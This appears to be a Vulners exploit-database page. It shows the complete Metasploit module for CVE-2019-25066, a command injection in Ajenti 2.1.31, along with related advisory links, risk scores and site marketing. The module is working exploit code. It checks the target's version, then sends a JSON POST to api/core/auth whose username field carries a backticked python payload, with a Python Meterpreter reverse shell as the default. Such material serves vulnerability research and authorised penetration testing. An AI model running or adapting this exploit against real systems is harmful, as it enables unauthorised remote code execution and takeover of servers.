Lucene search
+L

Ajenti auth username Command Injection

🗓️ 14 Oct 2019 00:00:00Reported by Jeremy Brown, Onur ER <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 34 Views

Ajenti auth username Command Injection. Exploits command injection in Ajenti == 2.1.31 by injecting a command into the username POST parameter to api/core/auth, spawning a shell

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-25066
1 Dec 201916:21
circl
cnnvd
CNNVD
ajenti 操作系统命令注入漏洞
9 Jun 202200:00
cnnvd
cve
CVE
CVE-2019-25066
9 Jun 202213:10
cve
cvelist
Cvelist
CVE-2019-25066 ajenti API privileges management
9 Jun 202213:10
cvelist
euvd
EUVD
EUVD-2019-11511
7 Oct 202500:30
euvd
nvd
NVD
CVE-2019-25066
9 Jun 202217:15
nvd
prion
Prion
Code injection
9 Jun 202217:15
prion
redhatcve
RedhatCVE
CVE-2019-25066
22 May 202505:03
redhatcve
vulnrichment
Vulnrichment
CVE-2019-25066 ajenti API privileges management
9 Jun 202213:10
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ajenti auth username Command Injection',
        'Description' => %q{
          This module exploits a command injection in Ajenti == 2.1.31.
          By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
        },
        'Author' => [
          'Jeremy Brown', # Vulnerability discovery
          'Onur ER <[email protected]>' # Metasploit module
        ],
        'References' => [
          ['CVE', '2019-25066'],
          ['EDB', '47497']
        ],
        'DisclosureDate' => '2019-10-14',
        'License' => MSF_LICENSE,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Privileged' => false,
        'Targets' => [
          ['Ajenti == 2.1.31', {}]
        ],
        'DefaultOptions' => {
          'RPORT' => 8000,
          'SSL' => true,
          'payload' => 'python/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/view/login/normal'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.body =~ /ajenti/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first

    if version
      vprint_status "Ajenti version #{version}"
    end

    if version == '2.1.31'
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Detected version #{version}")
  end

  def exploit
    print_status('Exploiting...')
    json_body = {
      'username' => "`python -c \"#{payload.encoded}\"`",
      'password' => rand_text_alpha_lower(7),
      'mode' => 'normal'
    }
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),
      'ctype' => 'application/json',
      'data' => JSON.generate(json_body)
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Oct 2019 00:00Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 3.16.3 - 8.8
EPSS0.05397
SSVC
34